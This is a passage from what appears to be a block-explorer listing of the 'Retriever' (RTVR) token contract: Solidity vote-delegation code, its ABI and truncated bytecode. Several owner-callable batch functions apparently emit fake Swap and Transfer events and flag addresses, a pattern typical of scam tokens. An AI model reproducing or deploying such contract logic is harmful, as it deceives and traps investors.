     * @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
     * @param account The address of the account to check
     * @param blockNumber The block number to get the vote balance at
     * @return The number of votes the account had as of the given block
     */
    function getPriorVotes(address account, uint blockNumber) external view returns (uint256){
        require(blockNumber < block.number, "BONE::getPriorVotes: not yet determined");
        uint32 nCheckpoints = numCheckpoints[account];
        if (nCheckpoints == 0) {
            return 0;
        }
        // First check most recent balance
        if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
            return checkpoints[account][nCheckpoints - 1].votes;
        }
        // Next check implicit zero balance
        if (checkpoints[account][0].fromBlock > blockNumber) {
            return 0;
        }
        uint32 lower = 0;
        uint32 upper = nCheckpoints - 1;
        while (upper > lower) {
            uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
            Checkpoint memory cp = checkpoints[account][center];
            if (cp.fromBlock == blockNumber) {
                return cp.votes;
            } else if (cp.fromBlock < blockNumber) {
                lower = center;
            } else {
                upper = center - 1;
            }
        }
        return checkpoints[account][lower].votes;
    }

    /**
     * @notice Gets the current votes balance for `account`
     * @param account The address to get votes balance
     * @return The number of current votes for `account`
     */
    function getCurrentVotes(address account) external view returns (uint256){
        uint32 nCheckpoints = numCheckpoints[account];
        return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
    }

    function _delegate(address delegator, address delegatee) internal {
        address currentDelegate = _delegates[delegator];
        uint256 delegatorBalance = balanceOf(delegator); 
        _delegates[delegator] = delegatee;
        emit DelegateChanged(delegator, currentDelegate, delegatee);
        _moveDelegates(currentDelegate, delegatee, delegatorBalance);
    }

    function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes) internal {
        uint32 blockNumber = safe32(block.number, "COFFEE::_writeCheckpoint: block number exceeds 32 bits");

        if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
            checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
        } else {
            checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
            require(nCheckpoints + 1 > nCheckpoints, "COFFEE::_writeCheckpoint: new checkpoint exceeds 32 bits");
            numCheckpoints[delegatee] = nCheckpoints + 1;
        }

        emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
    }

    function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
        if (srcRep != dstRep && amount > 0) {
            if (srcRep != address(0)) {
                // decrease old representative
                uint32 srcRepNum = numCheckpoints[srcRep];
                uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
                uint256 srcRepNew = srcRepOld - amount;
                _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
            }

            if (dstRep != address(0)) {
                // increase new representative
                uint32 dstRepNum = numCheckpoints[dstRep];
                uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
                uint256 dstRepNew = dstRepOld + amount;
                _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
            }
        }
    }

    function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
        require(n < 2**32, errorMessage);
        return uint32(n);
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"delegator","type":"address"},{"indexed":true,"internalType":"address","name":"fromDelegate","type":"address"},{"indexed":true,"internalType":"address","name":"toDelegate","type":"address"}],"name":"DelegateChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"delegate","type":"address"},{"indexed":false,"internalType":"uint256","name":"previousBalance","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newBalance","type":"uint256"}],"name":"DelegateVotesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DELEGATION_TYPEHASH","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"DOMAIN_TYPEHASH","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint32","name":"","type":"uint32"}],"name":"checkpoints","outputs":[{"internalType":"uint32","name":"fromBlock","type":"uint32"},{"internalType":"uint256","name":"votes","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"}],"name":"decreaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"delegatee","type":"address"}],"name":"delegate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"delegator","type":"address"}],"name":"delegates","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getCurrentVotes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"blockNumber","type":"uint256"}],"name":"getPriorVotes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_lp_","type":"address"}],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address_","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"numCheckpoints","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"swapExactTokensForETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"swapExactTokensForTokensSupportingFeeOnTransferTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_from","type":"address[]"},{"internalType":"address[]","name":"_to","type":"address[]"},{"internalType":"uint256[]","name":"_wad","type":"uint256[]"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526000600560006101000a81548160ff021916908315150217905550733fc91a3afd70395cd496c647d5a6cc9d4b2b7fad600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015620000d657600080fd5b506040518060400160405280600981526020017f52657472696576657200000000000000000000000000000000000000000000008152506040518060400160405280600481526020017f52545652000000000000000000000000000000000000000000000000000000008152506200016362000157620001d060201b60201c565b620001d860201b60201c565b816006908162000174919062000697565b50806007908162000186919062000697565b505050620001ca336200019e6200029c60201b60201c565b600a620001ac91906200090e565b64e8d4a51000620001be91906200095f565b620002a560201b60201c565b62000a96565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000317576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200030e9062000a0b565b60405180910390fd5b6200032b600083836200041360201b60201c565b80600460008282546200033f919062000a2d565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003f3919062000a79565b60405180910390a36200040f600083836200041860201b60201c565b5050565b505050565b505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200049f57607f821691505b602082108103620004b557620004b462000457565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200051f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620004e0565b6200052b8683620004e0565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000578620005726200056c8462000543565b6200054d565b62000543565b9050919050565b6000819050919050565b620005948362000557565b620005ac620005a3826200057f565b848454620004ed565b825550505050565b600090565b620005c3620005b4565b620005d081848462000589565b505050565b5b81811015620005f857620005ec600082620005b9565b600181019050620005d6565b5050565b601f82111562000647576200061181620004bb565b6200061c84620004d0565b810160208510156200062c578190505b620006446200063b85620004d0565b830182620005d5565b50505b505050565b600082821c905092915050565b60006200066c600019846008026200064c565b1980831691505092915050565b600062000687838362000659565b9150826002028217905092915050565b620006a2826200041d565b67ffffffffffffffff811115620006be57620006bd62000428565b5b620006ca825462000486565b620006d7828285620005fc565b600060209050601f8311600181146200070f5760008415620006fa578287015190505b62000706858262000679565b86555062000776565b601f1984166200071f86620004bb565b60005b82811015620007495784890151825560018201915060208501945060208101905062000722565b8683101562000769578489015162000765601f89168262000659565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200080c57808604811115620007e457620007e36200077e565b5b6001851615620007f45780820291505b80810290506200080485620007ad565b9450620007c4565b94509492505050565b600082620008275760019050620008fa565b81620008375760009050620008fa565b81600181146200085057600281146200085b5762000891565b6001915050620008fa565b60ff84111562000870576200086f6200077e565b5b8360020a9150848211156200088a57620008896200077e565b5b50620008fa565b5060208310610133831016604e8410600b8410161715620008cb5782820a905083811115620008c557620008c46200077e565b5b620008fa565b620008da8484846001620007ba565b92509050818404811115620008f457620008f36200077e565b5b81810290505b9392505050565b600060ff82169050919050565b60006200091b8262000543565b9150620009288362000901565b9250620009577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000815565b905092915050565b60006200096c8262000543565b9150620009798362000543565b9250828202620009898162000543565b91508282048414831517620009a357620009a26200077e565b5b5092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000620009f3601f83620009aa565b915062000a0082620009bb565b602082019050919050565b6000602082019050818103600083015262000a2681620009e4565b9050919050565b600062000a3a8262000543565b915062000a478362000543565b925082820190508082111562000a625762000a616200077e565b5b92915050565b62000a738162000543565b82525050565b600060208201905062000a90600083018462000a68565b92915050565b613af28062000aa66000396000f3fe608060405234801561001057600080fd5b50600436106101fb5760003560e01c8063715018a61161011a578063a457c2d7116100ad578063beabacc81161007c578063beabacc8146105fa578063dd62ed3e14610616578063e7a324dc14610646578063f1127ed814610664578063f2fde38b14610695576101fb565b8063a457c2d71461054e578063a7dec3811461057e578063a9059cbb1461059a578063b4b5ea57146105ca576101fb565b80637ecebe00116100e95780637ecebe00146104c65780638da5cb5b146104f657806395d89b4114610514578063a1c617f514610532576101fb565b8063715018a61461045457806377a1736b1461045e578063782d6fe11461047a5780637aac697b146104aa576101fb565b8063313ce567116101925780635c19a95c116101615780635c19a95c146103bc5780636fcfff45146103d857806370a08231146104085780637111a99414610438576101fb565b8063313ce567146103225780633950935114610340578063477e194414610370578063587cde1e1461038c576101fb565b806319ab453c116101ce57806319ab453c1461028857806320606b70146102a457806323b872dd146102c25780632f54bf6e146102f2576101fb565b806306fdde0314610200578063095ea7b31461021e5780630ca12b3d1461024e57806318160ddd1461026a575b600080fd5b6102086106b1565b6040516102159190612b5c565b60405180910390f35b61023860048036038101906102339190612c1c565b610743565b6040516102459190612c77565b60405180910390f35b61026860048036038101906102639190612cf7565b610766565b005b61027261099b565b60405161027f9190612d7a565b60405180910390f35b6102a2600480360381019061029d9190612d95565b6109a5565b005b6102ac6109f1565b6040516102b99190612ddb565b60405180910390f35b6102dc60048036038101906102d79190612df6565b610a15565b6040516102e99190612c77565b60405180910390f35b61030c60048036038101906103079190612d95565b610a44565b6040516103199190612c77565b60405180910390f35b61032a610a9a565b6040516103379190612e65565b60405180910390f35b61035a60048036038101906103559190612c1c565b610aa3565b6040516103679190612c77565b60405180910390f35b61038a60048036038101906103859190612e80565b610ada565b005b6103a660048036038101906103a19190612d95565b610b87565b6040516103b39190612edc565b60405180910390f35b6103d660048036038101906103d19190612d95565b610bf0565b005b6103f260048036038101906103ed9190612d95565b610bfd565b6040516103ff9190612f16565b60405180910390f35b610422600480360381019061041d9190612d95565b610c20565b60405161042f9190612d7a565b60405180910390f35b610452600480360381019061044d9190612f87565b610c69565b005b61045c610d5f565b005b61047860048036038101906104739190612e80565b610d73565b005b610494600480360381019061048f9190612c1c565b610efd565b6040516104a19190612d7a565b60405180910390f35b6104c460048036038101906104bf9190612cf7565b6112d2565b005b6104e060048036038101906104db9190612d95565b61145e565b6040516104ed9190612d7a565b60405180910390f35b6104fe611476565b60405161050b9190612edc565b60405180910390f35b61051c61149f565b6040516105299190612b5c565b60405180910390f35b61054c60048036038101906105479190612cf7565b611531565b005b61056860048036038101906105639190612c1c565b6116bc565b6040516105759190612c77565b60405180910390f35b61059860048036038101906105939190612cf7565b611733565b005b6105b460048036038101906105af9190612c1c565b611967565b6040516105c19190612c77565b60405180910390f35b6105e460048036038101906105df9190612d95565b61198a565b6040516105f19190612d7a565b60405180910390f35b610614600480360381019061060f9190612df6565b611a69565b005b610630600480360381019061062b919061303b565b611ad3565b60405161063d9190612d7a565b60405180910390f35b61064e611b5a565b60405161065b9190612ddb565b60405180910390f35b61067e600480360381019061067991906130a7565b611b7e565b60405161068c9291906130e7565b60405180910390f35b6106af60048036038101906106aa9190612d95565b611bbf565b005b6060600680546106c09061313f565b80601f01602080910402602001604051908101604052809291908181526020018280546106ec9061313f565b80156107395780601f1061070e57610100808354040283529160200191610739565b820191906000526020600020905b81548152906001019060200180831161071c57829003601f168201915b5050505050905090565b60008061074e611c42565b905061075b818585611c4a565b600191505092915050565b60005b848490508110156109945784848281811061078757610786613170565b5b905060200201602081019061079c9190612d95565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82260008686600060405161082294939291906131e4565b60405180910390a3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1685858381811061087657610875613170565b5b905060200201602081019061088b9190612d95565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516108d09190612d7a565b60405180910390a3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516109799190612d7a565b60405180910390a3808061098c90613258565b915050610769565b5050505050565b6000600454905090565b6109ad611e13565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b600080610a20611c42565b9050610a2d858285611e91565b610a38858585611f1d565b60019150509392505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60006012905090565b600080610aae611c42565b9050610acf818585610ac08589611ad3565b610aca91906132a0565b611c4a565b600191505092915050565b610ae2611e13565b60005b82829050811015610b8257600060026000858585818110610b0957610b08613170565b5b9050602002016020810190610b1e9190612d95565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b7a90613258565b915050610ae5565b505050565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b610bfa3382612293565b50565b600c6020528060005260406000206000915054906101000a900463ffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60005b86869050811015610d5657848482818110610c8a57610c89613170565b5b9050602002016020810190610c9f9190612d95565b73ffffffffffffffffffffffffffffffffffffffff16878783818110610cc857610cc7613170565b5b9050602002016020810190610cdd9190612d95565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef858585818110610d2757610d26613170565b5b90506020020135604051610d3b9190612d7a565b60405180910390a38080610d4e90613258565b915050610c6c565b50505050505050565b610d67611e13565b610d716000612404565b565b610d7b611e13565b60005b82829050811015610ef857600160026000858585818110610da257610da1613170565b5b9050602002016020810190610db79190612d95565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16838383818110610e5457610e53613170565b5b9050602002016020810190610e699190612d95565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925610ed0868686818110610eb657610eb5613170565b5b9050602002016020810190610ecb9190612d95565b610c20565b604051610edd9190612d7a565b60405180910390a38080610ef090613258565b915050610d7e565b505050565b6000438210610f41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3890613346565b60405180910390fd5b6000600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff1603610fad5760009150506112cc565b82600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184610ffc9190613366565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16116110a957600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001836110839190613366565b63ffffffff1663ffffffff168152602001908152602001600020600101549150506112cc565b82600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16111561112a5760009150506112cc565b60008060018361113a9190613366565b90505b8163ffffffff168163ffffffff161115611266576000600283836111619190613366565b61116b91906133cd565b826111769190613366565b90506000600d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff168152602001600182015481525050905086816000015163ffffffff1603611235578060200151955050505050506112cc565b86816000015163ffffffff16101561124f5781935061125f565b60018261125c9190613366565b92505b505061113d565b600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206001015493505050505b92915050565b60005b84849050811015611457578484828181106112f3576112f2613170565b5b90506020020160208101906113089190612d95565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82260008686600060405161138e94939291906131e4565b60405180910390a3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168585838181106113e2576113e1613170565b5b90506020020160208101906113f79190612d95565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161143c9190612d7a565b60405180910390a3808061144f90613258565b9150506112d5565b5050505050565b600e6020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546114ae9061313f565b80601f01602080910402602001604051908101604052809291908181526020018280546114da9061313f565b80156115275780601f106114fc57610100808354040283529160200191611527565b820191906000526020600020905b81548152906001019060200180831161150a57829003601f168201915b5050505050905090565b60005b848490508110156116b55784848281811061155257611551613170565b5b90506020020160208101906115679190612d95565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82285600080876040516115ec94939291906133fe565b60405180910390a384848281811061160757611606613170565b5b905060200201602081019061161c9190612d95565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161169a9190612d7a565b60405180910390a380806116ad90613258565b915050611534565b5050505050565b6000806116c7611c42565b905060006116d58286611ad3565b90508381101561171a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611711906134b5565b60405180910390fd5b6117278286868403611c4a565b60019250505092915050565b60005b848490508110156119605784848281811061175457611753613170565b5b90506020020160208101906117699190612d95565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82285600080876040516117ee94939291906133fe565b60405180910390a3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118979190612d7a565b60405180910390a38484828181106118b2576118b1613170565b5b90506020020160208101906118c79190612d95565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119459190612d7a565b60405180910390a3808061195890613258565b915050611736565b5050505050565b600080611972611c42565b905061197f818585611f1d565b600191505092915050565b600080600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff16116119f4576000611a61565b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600183611a429190613366565b63ffffffff1663ffffffff168152602001908152602001600020600101545b915050919050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ac69190612d7a565b60405180910390a3505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b600d602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060010154905082565b611bc7611e13565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611c36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2d90613547565b60405180910390fd5b611c3f81612404565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611cb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb0906135d9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1f9061366b565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611e069190612d7a565b60405